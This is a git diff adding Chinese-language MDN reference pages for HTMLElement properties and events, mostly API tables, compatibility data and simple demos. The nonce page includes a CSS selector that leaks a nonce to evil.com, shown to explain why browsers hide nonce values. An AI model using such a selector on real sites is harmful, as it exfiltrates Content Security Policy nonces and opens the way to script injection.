{{domxref("HTMLElement.isContentEditable")}} {{readonlyInline}}{{domxref("Boolean")}}表明元素的内容是否可编辑(只读)
{{domxref("HTMLElement.contextMenu")}}{{domxref("HTMLMenuElement")}}设置/获取元素的右键菜单
{{domxref("HTMLElement.dataset")}} {{readonlyInline}}{{domxref("DOMStringMap")}} +

获取元素的自定义属性,是一个对象(key-value,只读)

+
{{domxref("HTMLElement.dir")}}{{domxref("DOMString")}} +

获取/设置元素的方向,可选的值有:ltr,rtl,auto

+
{{domxref("HTMLElement.draggable")}}{{domxref("Boolean")}}设置/获取元素是否可以拖拽
{{domxref("HTMLElement.dropzone")}} {{readonlyInline}}{{domxref("DOMSettableTokenList")}} 
{{domxref("HTMLElement.hidden")}}{{domxref("Boolean")}}获取/设置元素是否隐藏
{{domxref("HTMLElement.itemScope")}} {{experimental_inline}}{{domxref("Boolean")}} 
{{domxref("HTMLElement.itemType")}} {{readonlyInline}}{{experimental_inline}}{{domxref("DOMSettableTokenList")}} 
{{domxref("HTMLElement.itemId")}} {{experimental_inline}}{{domxref("DOMString")}} 
{{domxref("HTMLElement.itemRef")}} {{readonlyInline}}{{experimental_inline}}{{domxref("DOMSettableTokenList")}} 
{{domxref("HTMLElement.itemProp")}} {{readonlyInline}}{{experimental_inline}}{{domxref("DOMSettableTokenList")}} 
{{domxref("HTMLElement.itemValue")}} {{experimental_inline}}{{domxref("object")}} 
{{domxref("HTMLElement.lang")}}{{domxref("DOMString")}}获取/设置元素属性、文本、内容的语言
{{domxref("HTMLElement.offsetHeight")}} {{readonlyInline}}double元素自身可视高度加上上下border的宽度
{{domxref("HTMLElement.offsetLeft")}}{{readonlyInline}}double元素自己border左边距离父元素border左边或者body元素border左边的距离
{{domxref("HTMLElement.offsetParent")}}{{readonlyInline}}{{domxref("Element")}}元素的父元素,如果没有就是body元素
{{domxref("HTMLElement.offsetTop")}}{{readonlyInline}}double元素自己border顶部距离父元素顶部或者body元素border顶部的距离
{{domxref("HTMLElement.offsetWidth")}}{{readonlyInline}}double元素自身可视宽度加上左右border的宽度
{{domxref("HTMLElement.properties")}} {{readonlyInline}}{{experimental_inline}}{{domxref("HTMLPropertiesCollection")}} 
{{domxref("HTMLElement.spellcheck")}}{{ gecko_minversion_inline("1.9")}}{{domxref("Boolean")}} 
{{domxref("HTMLElement.style")}}{{domxref("CSSStyleDeclaration")}}获取/设置元素的style属性
{{domxref("HTMLElement.tabIndex")}}long获取/设置元素的tab键控制次序
{{domxref("HTMLElement.title")}}{{domxref("DOMString")}}获取/设置元素的title属性
{{domxref("HTMLElement.translate")}} {{domxref("Boolean")}}获取/设置元素是否可以被翻译
+ +

Event handlers

+ +

The events properties, of the form onXYZ, are defined on the {{domxref("GlobalEventHandlers")}}, implemented by HTMLElement. A few more are specific to HTMLElement.

+ +
+
{{domxref("HTMLElement.onTouchStart")}} {{non-standard_inline}}
+
Returns the event handling code for the {{event("touchstart")}} event.
+
{{domxref("HTMLElement.onTouchEnd")}} {{non-standard_inline}}
+
Returns the event handling code for the {{event("touchend")}} event.
+
{{domxref("HTMLElement.onTouchMove")}} {{non-standard_inline}}
+
Returns the event handling code for the {{event("touchmove")}} event.
+
{{domxref("HTMLElement.onTouchEnter")}} {{non-standard_inline}}
+
Returns the event handling code for the {{event("touchenter")}} event.
+
{{domxref("HTMLElement.onTouchLeave")}} {{non-standard_inline}}
+
Returns the event handling code for the {{event("touchleave")}} event.
+
{{domxref("HTMLElement.onTouchCancel")}} {{non-standard_inline}}
+
Returns the event handling code for the {{event("touchcancel")}} event.
+
+ +

方法

+ +

从父元素继承的方法, {{domxref("Element")}}.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Name & ArgumentsReturnDescription
{{domxref("HTMLElement.blur()")}}void元素失去焦点
{{domxref("HTMLElement.click()")}}void触发元素的点击事件
{{domxref("HTMLElement.focus()")}}void元素获得焦点
{{domxref("HTMLElement.forceSpellCheck()")}} {{experimental_inline}}void 
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSSOM View', '#extensions-to-the-htmlelement-interface', 'HTMLElement')}}{{Spec2('CSSOM View')}} +

添加如下属性:

+ +

offsetParentoffsetTopoffsetLeftoffsetWidthoffsetHeight

+
{{SpecName('HTML WHATWG', 'elements.html#htmlelement', 'HTMLElement')}}{{Spec2('HTML WHATWG')}} +

添加如下属性:

+ +

translateitemScopeitemTypeitemIditemRefitemPropproperties,itemValue。

+ +

添加如下方法:
+ forceSpellcheck(),

+ +

将 onXYZ 属性移动到了{{domxref("GlobalEventHandlers")}}接口上并从该接口继承了该属性

+
{{SpecName('HTML5 W3C', 'dom.html#htmlelement', 'HTMLElement')}}{{Spec2('HTML5 W3C')}} +

添加了如下属性:

+ +

dataset, hidden, tabindex, accessKey, accessKeyLabel, draggable, dropzone, contentEditable, isContentEditable, contextMenu, spellcheck, commandType, commandLabel, commandIcon, commandHidden, commandDisabled, commandChecked, style,和所有的 onXYZ属性

+ +

移动id和classname属性到{{domxref("Element")}}接口上

+
{{SpecName('DOM2 HTML', 'html.html#ID-011100101', 'HTMLElement')}}{{Spec2('DOM2 HTML')}}在 {{SpecName('DOM2 HTML')}}基础上没有任何改变
{{SpecName('DOM1', 'level-one-html.html#ID-011100101', 'HTMLElement')}}{{Spec2('DOM1')}}初始定义
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
特性Firefox (Gecko)ChromeInternet ExplorerOperaSafari
Basic support{{CompatGeckoDesktop("1.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
{{domxref("HTMLElement.accessKey", "accessKey")}}{{CompatGeckoDesktop("5.0")}}17.0{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}(535.10)
{{domxref("HTMLElement.accessKeyLabel", "accessKeyLabel")}}{{CompatGeckoDesktop("8.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatNo}}{{WebkitBug(72715)}}
{{domxref("HTMLElement.blur()", "blur()")}}{{CompatGeckoDesktop("5.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
{{domxref("HTMLElement.click()", "click()")}}{{CompatGeckoDesktop("5.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}(535.24)
{{domxref("HTMLElement.dataset", "dataset")}}{{CompatGeckoDesktop("6.0")}}9.0{{CompatUnknown}}11.105.1
{{domxref("HTMLElement.focus()", "focus()")}}{{CompatGeckoDesktop("5.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
{{domxref("HTMLElement.contentEditable", "contentEditable")}}{{CompatGeckoDesktop("1.9")}}{{CompatVersionUnknown}}5.59{{CompatVersionUnknown}}
{{domxref("HTMLElement.spellcheck", "spellcheck")}}{{CompatGeckoDesktop("1.8.1")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
{{domxref("HTMLElement.forceSpellCheck", "forceSpellCheck()")}} {{experimental_inline}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
{{domxref("HTMLElement.dataset", "dataset")}}{{CompatGeckoDesktop("6.0")}}8.01111.106
{{domxref("HTMLElement.draggable", "draggable")}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}12.0{{CompatUnknown}}
{{domxref("HTMLElement.dropzone", "dropzone")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}12.0{{CompatNo}}
{{domxref("HTMLElement.offsetLeft", "offsetLeft")}}, {{domxref("HTMLElement.offsetTop", "offsetTop")}}, {{domxref("HTMLElement.offsetParent", "offsetParent")}}, {{domxref("HTMLElement.offsetHeight", "offsetHeight")}} and {{domxref("HTMLElement.offsetWidth", "offsetWidth")}} {{experimental_inline}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}
{{domxref("HTMLElement.translate", "translate")}} {{experimental_inline}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
{{domxref("HTMLElement.itemScope", "itemScope")}}, {{domxref("HTMLElement.itemType", "itemType")}}, {{domxref("HTMLElement.itemRef", "itemRef")}}, {{domxref("HTMLElement.itemId", "itemId")}}, {{domxref("HTMLElement.itemProp", "itemProp")}}, and {{domxref("HTMLElement.itemValue", "itemValue")}} {{experimental_inline}}{{CompatGeckoDesktop("6.0")}}{{CompatNo}}{{CompatNo}}11.60
+ (Removed in Opera 15)
{{CompatNo}}
{{domxref("HTMLElement.properties", "properties")}} {{experimental_inline}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
{{domxref("HTMLElement.ontouchstart")}}, {{domxref("HTMLElement.ontouchend")}}, {{domxref("HTMLElement.ontouchmove")}}, {{domxref("HTMLElement.ontouchenter")}}, {{domxref("HTMLElement.ontouchleave")}}, and {{domxref("HTMLElement.ontouchcancel")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureFirefox Mobile (Gecko)AndroidIE MobileOpera MobileSafari Mobile
Basic support +

{{CompatGeckoMobile("1.0")}}

+
{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
{{domxref("HTMLElement.accessKey", "accessKey")}}{{CompatGeckoMobile("5.0")}}
{{domxref("HTMLElement.accessKeyLabel", "accessKeyLabel")}}{{CompatGeckoMobile("8.0")}}
{{domxref("HTMLElement.blur()", "blur()")}}{{CompatGeckoMobile("5.0")}}
{{domxref("HTMLElement.click()", "click()")}}{{CompatGeckoMobile("5.0")}}
{{domxref("HTMLElement.dataset", "dataset")}}{{CompatGeckoMobile("6.0")}}
{{domxref("HTMLElement.focus()", "focus()")}}{{CompatGeckoMobile("5.0")}}
+
+ +

 

+ +

还可以查看以下内容:

+ + diff --git a/files/zh-cn/web/api/htmlelement/iscontenteditable/index.html b/files/zh-cn/web/api/htmlelement/iscontenteditable/index.html new file mode 100644 index 0000000000..e5ccd8ee7e --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/iscontenteditable/index.html @@ -0,0 +1,107 @@ +--- +title: HTMLElement.isContentEditable +slug: Web/API/HTMLElement/isContentEditable +translation_of: Web/API/HTMLElement/isContentEditable +--- +
+
+
{{ APIRef("HTML DOM") }}
+
+
+ +

概述

+ +

 HTMLElement.isContentEditable 只读属性返回一个{{jsxref("Boolean", "布尔值")}}:如果当前元素的内容为可编辑状态,则返回 true,否则返回 false

+ +

语法

+ +
editable = element.isContentEditable
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + +
规范版本规范状态备注
{{SpecName('HTML WHATWG', "editing.html#dom-iscontenteditable", "HTMLElement.contenteditable")}}{{Spec2('HTML WHATWG')}}No change from latest snapshot, {{SpecName('HTML5.1')}}
{{SpecName('HTML5.1', "editing.html#dom-iscontenteditable", "HTMLElement.contenteditable")}}{{Spec2('HTML5.1')}}Snapshot of {{SpecName('HTML WHATWG')}}, no change from {{SpecName('HTML5 W3C')}}
{{SpecName('HTML5 W3C', "editing.html#dom-iscontenteditable", "HTMLElement.contenteditable")}}{{Spec2('HTML5 W3C')}}Snapshot of  {{SpecName('HTML WHATWG')}}, initial definition.
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatVersionUnknown() }}{{ CompatGeckoDesktop("2") }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatVersionUnknown() }}{{ CompatGeckoMobile("2") }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +

相关链接

+ + + +

 

diff --git a/files/zh-cn/web/api/htmlelement/lang/index.html b/files/zh-cn/web/api/htmlelement/lang/index.html new file mode 100644 index 0000000000..0f7e4f330f --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/lang/index.html @@ -0,0 +1,40 @@ +--- +title: HTMLElement.lang +slug: Web/API/HTMLElement/lang +translation_of: Web/API/HTMLElement/lang +--- +

{{ APIRef() }}

+

HTMLElement.lang 属性用来获取或设置元素属性值或文本内容的基语言(base language)。

+

该属性返回的语言代码(language code) 被定义在 RFC 1766。通常,"en" 表示英语(English)、"ja" 表示(Japanese)、"zh-cn" 表示简体中文等等。该属性的默认值未知(unknown)。尽管该属性可以应用在单独的元素上,但是通常在文档的根元素(html)上指定。

+

该属性只对 lang 属性(attribute)有效,不适用于 xml:lang

+

语法

+
var languageUsed = elementNodeReference.lang; // 获取lang值
+elementNodeReference.lang = NewLanguage; // 为lang设置新值
+
+

languageUsed 是一个字符串变量,可以获取当前元素的文本是用什么语言写的。NewLanguage 是一个字符串变量,其值用来作为当前元素的文本的语言。

+

示例

+
// 该代码比较了基语言(base language),然后
+// 重定向到了基于该语言的url
+if (document.documentElement.lang === "en") {
+  window.location.href = "Some_document.html.en";
+} else if (document.documentElement.lang === "ru") {
+  window.location.href = "Some_document.html.ru";
+}
+

规范

+ + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM2 HTML', 'html.html#ID-59132807', 'id')}}{{Spec2('DOM2 HTML')}} 
+

 

diff --git a/files/zh-cn/web/api/htmlelement/nonce/index.html b/files/zh-cn/web/api/htmlelement/nonce/index.html new file mode 100644 index 0000000000..b2c6c829b1 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/nonce/index.html @@ -0,0 +1,60 @@ +--- +title: HTMLElement.nonce +slug: Web/API/HTMLElement/nonce +tags: + - API + - nonce + - 内容安全策略 + - 实验性 + - 属性 +translation_of: Web/API/HTMLOrForeignElement/nonce +--- +

{{SeeCompatTable}}{{APIRef("HTML DOM")}}

+ +

{{domxref("HTMLElement")}} 接口的 nonce 属性返回只使用一次的加密数字,被内容安全政策用来决定这次请求是否被允许处理。

+ +

在接下来的实现中,有nonce属性的元素只能在脚本中使用(不可以在其他渠道使用,比如css属性选择器)。

+ +

语法

+ +
var nonce = HTMLElement.nonce
+HTMLElement.nonce = nonce
+ +

访问nonce属性值

+ +

以前,并不是所有的浏览器都支持 nonce IDL属性,因此在实际应用场景中,尝试使用getAttribute 作为备选:

+ +
let nonce = script['nonce'] || script.getAttribute('nonce');
+ +

然而,最新的浏览器版本都隐藏了 nonce 值(返回一个空值)。IDL属(script['nonce'])成为唯一的访问方式。

+ +

隐藏Nonce是为了阻止攻击者通过某种机制提取出nonce值,比如下面这种方式:

+ +
script[nonce~=whatever] {
+  background: url("https://evil.com/nonce?whatever");
+}
+ +

说明

+ + + + + + + + + + + + + + +
说明状态注释
{{SpecName('HTML WHATWG','#attr-nonce','nonce')}}{{Spec2('HTML WHATWG')}}初始定义
+ +

支持的浏览器

+ +
+ + +

{{Compat("api.HTMLElement.nonce")}}

+
diff --git a/files/zh-cn/web/api/htmlelement/offsetheight/index.html b/files/zh-cn/web/api/htmlelement/offsetheight/index.html new file mode 100644 index 0000000000..0f852a4689 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/offsetheight/index.html @@ -0,0 +1,80 @@ +--- +title: HTMLElement.offsetHeight +slug: Web/API/HTMLElement/offsetHeight +tags: + - API + - CSSOM View + - NeedsMarkupWork + - NeedsNonDHMLImage + - Property + - Reference + - 属性 +translation_of: Web/API/HTMLElement/offsetHeight +--- +
{{ APIRef("HTML DOM") }}
+ +

 HTMLElement.offsetHeight 是一个只读属性,它返回该元素的像素高度,高度包含该元素的垂直内边距和边框,且是一个整数。

+ +

通常,元素的offsetHeight是一种元素CSS高度的衡量标准,包括元素的边框、内边距和元素的水平滚动条(如果存在且渲染的话),不包含:before或:after等伪类元素的高度。

+ +

对于文档的body对象,它包括代替元素的CSS高度线性总含量高。浮动元素的向下延伸内容高度是被忽略的。 

+ +

如果元素被隐藏(例如 元素或者元素的祖先之一的元素的style.display被设置为none),则返回0

+ +
+

这个属性值会被四舍五入为整数值,如果你需要一个浮点数值,请用 {{ domxref("element.getBoundingClientRect()") }}.

+
+ +

语法

+ +
var intElemOffsetHeight = document.getElementById(id_attribute_value).offsetHeight;
+
+ +

intElemOffsetHeight是一个变量存储对应元素的offsetHeight像素的整数值。offsetHeight属性是只读的。

+ +

示例

+ +

Image:Dimensions-offset.png

+ +

上面的图片中显示了scollbar和窗口高度的offsetHeight.但是不能滚动的元素可能会有一个很大的高度值,大于可以看见的内容。这些元素原则上是被包含在滚动元素之中的。所以,这些不能滚动的元素可能会因为scrollTop的值会被完全隐藏或者部分隐藏;

+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSSOM View', '#dom-htmlelement-offsetHeight', 'offsetLeft')}}{{Spec2('CSSOM View')}}
+ +

备注

+ +

offsetHeight 是一个DOM属性,由MSIE首次提出。它有时被称为一个元素的物理/图形的尺寸,或是一个元素的边界框(border-box)的高度。

+ +

浏览器兼容性

+ + + +

{{Compat("api.HTMLElement.offsetHeight")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/htmlelement/offsetleft/index.html b/files/zh-cn/web/api/htmlelement/offsetleft/index.html new file mode 100644 index 0000000000..917e5e1797 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/offsetleft/index.html @@ -0,0 +1,148 @@ +--- +title: HTMLElement.offsetLeft +slug: Web/API/HTMLElement/offsetLeft +tags: + - API + - CSSOM + - 参考 + - 只读 + - 属性 +translation_of: Web/API/HTMLElement/offsetLeft +--- +
{{ APIRef("HTML DOM") }}
+ +

 HTMLElement.offsetLeft 是一个只读属性,返回当前元素左上角相对于  {{domxref("HTMLElement.offsetParent")}} 节点的左边界偏移的像素值。

+ +

对块级元素来说,offsetTopoffsetLeftoffsetWidthoffsetHeight 描述了元素相对于 offsetParent 的边界框。

+ +

然而,对于可被截断到下一行的行内元素(如 span),offsetTopoffsetLeft 描述的是第一个边界框的位置(使用 {{domxref("Element.getClientRects()")}} 来获取其宽度和高度),而 offsetWidthoffsetHeight 描述的是边界框的尺寸(使用 {{domxref("Element.getBoundingClientRect")}} 来获取其位置)。因此,使用 offsetLeft、offsetTop、offsetWidthoffsetHeight 来对应 left、top、width 和 height 的一个盒子将不会是文本容器 span 的盒子边界。

+ +

语法

+ +
left = element.offsetLeft;
+
+ +

left 是一个整数,表示向左偏移的像素值。

+ +

示例

+ +
var colorTable = document.getElementById("t1");
+var tOLeft = colorTable.offsetLeft;
+
+if (tOLeft > 5) {
+  // large left offset: do something here
+}
+
+ +

这个例子展示了蓝色边框的 div 包含一个长的句子,红色的盒子是一个可以表示包含这个长句子的span标签的边界。

+ +

Image:offsetLeft.jpg

+ +
<div style="width: 300px; border-color:blue;
+  border-style:solid; border-width:1;">
+  <span>Short span. </span>
+  <span id="long">Long span that wraps withing this div.</span>
+</div>
+
+<div id="box" style="position: absolute; border-color: red;
+  border-width: 1; border-style: solid; z-index: 10">
+</div>
+
+<script>
+  var box = document.getElementById("box");
+  var long = document.getElementById("long");
+  //
+  // long.offsetLeft这个值就是span的offsetLeft.
+  // long.offsetParent 返回的是body(在chrome浏览器中测试)
+  // 如果id为long的span元素的父元素div,设置了position属性值,只要不为static,那么long.offsetParent就是div
+
+  box.style.left = long.offsetLeft + document.body.scrollLeft + "px";
+  box.style.top = long.offsetTop + document.body.scrollTop + "px";
+  box.style.width = long.offsetWidth + "px";
+  box.style.height = long.offsetHeight + "px";
+</script> 
+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSSOM View', '#dom-htmlelement-offsetleft', 'offsetLeft')}}{{Spec2('CSSOM View')}}
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}
+
+ +

根据规范,如果元素被隐藏(此元素的 style.display 或任何祖先为“none”),或者如果元素本身的 style.position 设置为“fixed”,则此属性将在Webkit上返回null 。

+ +

在 Internet Explorer (9) 上如果元素的 style.position 是 "fixed",则该属性为 null (样式 display:none 不会影响。)

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/htmlelement/offsetparent/index.html b/files/zh-cn/web/api/htmlelement/offsetparent/index.html new file mode 100644 index 0000000000..4592a236ef --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/offsetparent/index.html @@ -0,0 +1,48 @@ +--- +title: HTMLElement.offsetParent +slug: Web/API/HTMLElement/offsetParent +translation_of: Web/API/HTMLElement/offsetParent +--- +
{{APIRef}}
+ +

HTMLElement.offsetParent 是一个只读属性,返回一个指向最近的(指包含层级上的最近)包含该元素的定位元素或者最近的 table,td,th,body元素。当元素的 style.display 设置为 "none" 时,offsetParent 返回 nulloffsetParent 很有用,因为 {{domxref("HTMLElement.offsetTop","offsetTop")}} 和 {{domxref("HTMLElement.offsetLeft","offsetLeft")}} 都是相对于其内边距边界的。

+ +

语法

+ +
parentObj = element.offsetParent;
+
+ + + +

浏览器兼容性

+ +

在 Webkit 中,如果元素为隐藏的(该元素或其祖先元素的 style.display 为 "none"),或者该元素的 style.position 被设为 "fixed",则该属性返回 null

+ +

在 IE 9 中,如果该元素的 style.position 被设置为 "fixed",则该属性返回 null。(display:none 无影响。)

+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSSOM View', '#dom-htmlelement-offsetparent', 'offsetParent')}}{{Spec2('CSSOM View')}}
+ +

Browser compatibility

+ + + +

{{Compat("api.HTMLElement.offsetParent")}}

diff --git a/files/zh-cn/web/api/htmlelement/offsettop/index.html b/files/zh-cn/web/api/htmlelement/offsettop/index.html new file mode 100644 index 0000000000..449bfa2f68 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/offsettop/index.html @@ -0,0 +1,57 @@ +--- +title: HTMLElement.offsetTop +slug: Web/API/HTMLElement/offsetTop +translation_of: Web/API/HTMLElement/offsetTop +--- +
{{ APIRef("HTML DOM") }}
+ +

HTMLElement.offsetTop 为只读属性,它返回当前元素相对于其 {{domxref("HTMLElement.offsetParent","offsetParent")}} 元素的顶部内边距的距离。

+ +

语法

+ +
topPos = element.offsetTop;
+
+ +

参数

+ + + +

示例

+ +
var d = document.getElementById("div1");
+var topPos = d.offsetTop;
+
+if (topPos > 10) {
+  // div1 距离它的 offsetParent 元素的顶部的距离大于 10 px
+}
+ +

规范

+ + + + + + + + + + + + + + + + +
规范名称规范状态备注
{{SpecName('CSSOM View', '#dom-htmlelement-offsettop', 'offsetTop')}}{{Spec2('CSSOM View')}}
+ +

Browser compatibility

+ + + +

{{Compat("api.HTMLElement.offsetTop")}}

+ +

In compliance with the specification, this property will return null on Webkit if the element is hidden (the style.display of this element or any ancestor is "none") or if the style.position of the element itself is set to "fixed".

+ +

This property will return null on Internet Explorer (9) if the style.position of the element itself is set to "fixed". (Having display:none does not affect this browser.)

diff --git a/files/zh-cn/web/api/htmlelement/offsetwidth/index.html b/files/zh-cn/web/api/htmlelement/offsetwidth/index.html new file mode 100644 index 0000000000..7fbcfb5266 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/offsetwidth/index.html @@ -0,0 +1,59 @@ +--- +title: HTMLElement.offsetWidth +slug: Web/API/HTMLElement/offsetWidth +tags: + - API + - 参考 + - 只读属性 + - 属性 +translation_of: Web/API/HTMLElement/offsetWidth +--- +
{{ APIRef("HTML DOM") }}
+ +

HTMLElement.offsetWidth 是一个只读属性,返回一个元素的布局宽度。一个典型的(译者注:各浏览器的offsetWidth可能有所不同)offsetWidth是测量包含元素的边框(border)、水平线上的内边距(padding)、竖直方向滚动条(scrollbar)(如果存在的话)、以及CSS设置的宽度(width)的值。

+ +

语法

+ +
var offsetWidth =element.offsetWidth;
+
+ +

intElemOffsetWidth is a variable storing an integer corresponding to the offsetWidth pixel value of the element. offsetWidth 是一个只读属性。

+ +
+

这个属性将会 round(四舍五入)为一个整数。如果你想要一个fractional(小数)值,请使用{{ domxref("element.getBoundingClientRect()") }}.

+
+ +

示例

+ +

Image:Dimensions-offset.png

+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('CSSOM View', '#dom-htmlelement-offsetwidth', 'offsetWidth')}}{{Spec2('CSSOM View')}}
+ +

备注

+ +

offsetWidth 是一个 DHTML 对象模型中的属性,由微软 IE 浏览器首次引入。有时候它也可以称为一个元素的物理或图形尺寸,或者 border-box(译者注:即 CSS3中的 border-box 模型)的宽度。

+ +

参见

+ + diff --git a/files/zh-cn/web/api/htmlelement/oncopy/index.html b/files/zh-cn/web/api/htmlelement/oncopy/index.html new file mode 100644 index 0000000000..12ff84d885 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/oncopy/index.html @@ -0,0 +1,44 @@ +--- +title: element.oncopy +slug: Web/API/HTMLElement/oncopy +translation_of: Web/API/HTMLElement/oncopy +--- +

{{ Fx_minversion_header("3") }} {{ ApiRef() }}

+

概述

+

oncopy属性用来获取或设置当前元素的copy事件的事件处理函数.

+

语法

+
element.oncopy = functionRef;
+
+

functionRef 是一个函数名或者函数表达式.

+

例子

+
<html>
+<head>
+<title>oncopy示例演示</title>
+
+<script>
+  function log(txt)
+  {
+    document.getElementById("log").appendChild(document.createTextNode(txt + "\n"));
+  }
+</script>
+</head>
+
+<body>
+<div oncopy="log('复制被阻止!'); return false;">试着复制这句话!</div>
+
+<h3>Log</h3>
+<textarea rows="15" cols="80" id="log" readonly="true"></textarea>
+</body>
+</html>
+
+

上例演示了如何禁止复制浏览器中的一段话.

+

备注

+

当用户尝试复制选中元素或文本时会触发copy事件.

+

规范

+

不属于任何公开的规范.

+

相关链接

+ +

{{ languages( { "ja": "ja/DOM/element.oncopy", "en": "en/DOM/element.oncopy" } ) }}

diff --git a/files/zh-cn/web/api/htmlelement/oncut/index.html b/files/zh-cn/web/api/htmlelement/oncut/index.html new file mode 100644 index 0000000000..e8d5c9c7ee --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/oncut/index.html @@ -0,0 +1,46 @@ +--- +title: element.oncut +slug: Web/API/HTMLElement/oncut +translation_of: Web/API/HTMLElement/oncut +--- +

{{ Fx_minversion_header("3") }} {{ ApiRef() }}

+

概述

+

oncut属性用来获取或设置当前元素的cut事件的事件处理函数.

+

语法

+
element.oncut = functionRef;
+
+

functionRef 是一个函数名或者函数表达式.

+

例子

+
<html>
+<head>
+<title>oncut示例演示</title>
+
+<script>
+  function log(txt)
+  {
+    document.getElementById("log").appendChild(document.createTextNode(txt + "\n"));
+  }
+</script>
+</head>
+
+<body>
+<h3>按说明进行操作!</h3>
+<textarea rows="3" cols="80" oncopy="log('复制成功!');" oncut="log('剪切被阻止!'); return false;">
+  尝试剪切和复制该文本域内的文本!
+</textarea>
+<h3>Log</h3>
+<textarea rows="15" cols="80" id="log" readonly="true"></textarea>
+</body>
+</html>
+
+

上例演示了如何允许复制一个文本域内的文本,但禁止剪切那些文本.并把每次操作结果打印出来.

+

备注

+

当用户尝试剪切选中元素或文本时会触发cut事件.

+

规范

+

不属于任何公开的规范.

+

相关链接

+ +

{{ languages( { "ja": "ja/DOM/element.oncut" ,"en": "en/DOM/element.oncut" } ) }}

diff --git a/files/zh-cn/web/api/htmlelement/onpaste/index.html b/files/zh-cn/web/api/htmlelement/onpaste/index.html new file mode 100644 index 0000000000..f180eaa91c --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/onpaste/index.html @@ -0,0 +1,57 @@ +--- +title: element.onpaste +slug: Web/API/HTMLElement/onpaste +translation_of: Web/API/HTMLElement/onpaste +--- +

{{ Fx_minversion_header("3") }} {{ ApiRef() }}

+

概述

+

onpaste 属性用来获取或设置当前元素的paste事件的事件处理函数.

+

语法

+
element.onpaste = functionRef;
+
+

functionRef 是一个函数名或者函数表达式.

+

例子

+
<html>
+<head>
+<title>onpaste示例演示</title>
+</head>
+
+<body>
+<h3>按说明进行操作!</h3>
+<textarea id="editor" rows="3" cols="80">
+尝试在这里粘贴文本!
+</textarea>
+
+<script type="text/javascript">
+  function log(txt)
+  {
+    document.getElementById("log").appendChild(document.createTextNode(txt + "\n"));
+  }
+
+  function pasteIntercept(evt)
+  {
+        evt.preventDefault();
+  	log("粘贴被阻止");
+  }
+
+  document.getElementById("editor").addEventListener("paste", pasteIntercept, false);
+</script>
+
+<h3>Log</h3>
